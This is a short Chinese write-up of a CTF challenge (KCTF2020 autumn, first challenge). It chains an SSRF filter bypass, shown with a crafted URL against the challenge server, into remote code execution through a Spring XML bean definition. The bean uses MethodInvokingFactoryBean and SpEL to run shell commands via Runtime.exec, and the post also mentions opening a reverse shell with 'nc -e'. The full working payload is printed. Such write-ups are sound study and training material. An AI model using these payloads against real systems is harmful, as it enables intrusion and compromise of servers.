-
-
[原创] KCTF2020 秋季赛 第一题 至暗时刻
-
2020-12-15 00:08 1953
-
根据 html 源码中的注释, 有一个很明显的 ssrf, 但是有些过滤, fuzz 半天发现 http://121.36.145.157:8088/getimage?url=http://rmb122.cn%253f7.www.pediy.com/, 就可以 ssrf 任意网站.
之后就可以通过 ssrf 打 loadConfig 这个接口, 根据报错可以知道用的是 BeanDefinition, 上 stackoverflow 可以查到 MethodInvokingFactoryBean 可以调用方法导致 rce.
然后自己测出来又存在 Spel 表达式执行
所以就用 exec 的报错来回显 Spel 的结果, 因为用的 root 权限, apt 装个 unzip, 就可以解压出 flag 读取. 之后发现用的 busybox, 用 nc -e 也可以弹 shell.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | <?xml version = "1.0" encoding = "UTF-8" ?> <beans xmlns = "http://www.springframework.org/schema/beans" xmlns:xsi = "http://www.w3.org/2001/XMLSchema-instance" xmlns:p = "http://www.springframework.org/schema/p" xmlns:aop = "http://www.springframework.org/schema/aop" xmlns:tx = "http://www.springframework.org/schema/tx" xsi:schemaLocation = "http: / / www.springframework.org / schema / beans http: / / www.springframework.org / schema / beans / spring - beans - 3.0 .xsd http: / / www.springframework.org / schema / aop http: / / www.springframework.org / schema / aop / spring - aop - 3.0 .xsd http: / / www.springframework.org / schema / tx http: / / www.springframework.org / schema / tx / spring - tx - 3.0 .xsd"> <bean id = "wtf" class = "java.lang.Runtime" factory - method = "getRuntime" / > <bean class = "org.springframework.beans.factory.config.MethodInvokingFactoryBean" > < property name = "targetObject" ref = "wtf" / > < property name = "targetMethod" > <value> exec < / value> < / property > < property name = "arguments" > < list > <value> #{new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","ls -la /"}).getInputStream())).lines().parallel().collect(T(java.util.stream.Collectors).joining("\n"))} < / value> <value> 1 < / value> <value> 1 < / value> < / list > < / property > < / bean> < / beans> |
赞赏
他的文章